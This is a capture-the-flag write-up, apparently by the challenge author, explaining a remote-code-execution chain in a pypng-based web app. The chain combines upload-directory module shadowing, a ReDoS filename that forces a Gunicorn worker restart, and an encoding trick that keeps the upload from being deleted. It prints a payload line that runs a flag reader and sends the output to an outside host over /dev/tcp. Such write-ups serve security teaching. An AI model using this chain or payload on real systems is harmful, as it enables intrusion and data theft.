## Challenge Information
- Name: Images and Words
- Type: Web + Misc
BGM: [Dream Theater - Images and Words](https://www.youtube.com/watch?v=MkLIJw-fOIQ&list=PL8ANB2FxMC6WnDQDe_MS-OioyR5GEgEvC)
- Files provided: All the files under `docker/zeus/app_scaffold/`
- Solves: 0 / 720
# attach bash for debugging
docker exec -it <CONTAINER ID> bash
This web application will render a text file to a PNG image using [pypng](https://github.com/drj11/pypng) library. The user can upload a text file under directory `png`.
The key is to identify the package name `png` happens to be the same as the upload directory name. Therefore, if the directory `png` exists, `import png` will not import the module `pypng`, but `png` in current working directory.
Thus, we can upload the python file named `__init__.py`:
__import__('os').system('bash -c "/readflag>/dev/tcp/bookgin.tw/80"')
However, because the web server is using Gunicorn. Gunicorn uses pre-fork worker model to launch workers. The pypng module has already been loaded. Unless we manually reload it or restart the python process, it will not import the file under `png` in current work directory.
In fact, Gunicorn will monitor its worker processes. If the worker is not responsive or stuck somehow, by default [it will await 30 seconds](http://docs.gunicorn.org/en/stable/settings.html#timeout) and then restart the worker. You can notice the process id here is different.
[2019-10-07 12:36:04 +0800]  [INFO] Starting gunicorn 19.9.0
[2019-10-07 12:36:04 +0800]  [INFO] Listening at: http://127.0.0.1:8080 (23271)
[2019-10-07 12:36:04 +0800]  [INFO] Using worker: uvicorn.workers.UvicornWorker
[2019-10-07 12:36:04 +0800]  [INFO] Booting worker with pid: 23274
[2019-10-07 12:36:04 +0800]  [INFO] Started server process 
[2019-10-07 12:36:04 +0800]  [INFO] Waiting for application startup.
[2019-10-07 12:37:05 +0800]  [CRITICAL] WORKER TIMEOUT (pid:23274)
[2019-10-07 12:37:06 +0800]  [INFO] Booting worker with pid: 23825
[2019-10-07 12:37:06 +0800]  [INFO] Started server process 
[2019-10-07 12:37:06 +0800]  [INFO] Waiting for application startup.
Hence we have to find an approach to make the server stuck for more than 30 seconds. The server source code strictly truncates the filename and file content. Nginx also has also been set a limitation 1M for the uploaded file size. It's too difficult to upload a huge file to make the server stuck. However, in this function:
res = re.match(r'^[\.a-zA-Z0-9_-]([\.a-zA-Z0-9_-]+)*$', dangerous_filename)
safe_filename = secrets.token_urlsafe(32)[:32] if res is None else dangerous_filename
The regular expression is vulnerable to [ReDoS](https://en.wikipedia.org/wiki/ReDoS). If we have a file named `aaaaaaaaaaaaaaaaaaaaaa!`, the regular expression will backtrack for a large number of matches. You could try this payload in [regex101](https://regex101.com/r/61PZxD/2). By exploiting this we can make Gunicorn restart the worker process and load our malicious `png/__init__.py`.
One more thing: the server will remove the uploaded text file.
src = config.UPLOAD_DIR / filename
with open(src, 'r') as f:
text = f.read()
dst = config.UPLOAD_DIR / (filename + '.png')
with open(dst, 'wb') as f:
To exploit, we can upload a non-UTF-8 Python file with [explicit declaration of encoding](https://www.python.org/dev/peps/pep-0263/#id8). Because this line `with open(src, 'r') as f:` does not specify the encoding, it will fail to decode as UTF-8 and throw an exception. Thus the file will not be deleted. Race condition should also work here but it's less stable. The full exploit is in the `exploit` directory.
One day I was writing some Python code, and the directory name happened to conflict with a package name. Then I came out with this idea. For the Gunicorn part, I just need some execution which will take a long time. ReDoS (in fact I heard this on a USENIX conference) quickly flashed through my mind.
Although some techniques seem less useful regarding exploitation, sometimes it becomes a very important part in the RCE chain.
I hope this is a not-so-crafted challenge and hope you enjoy it!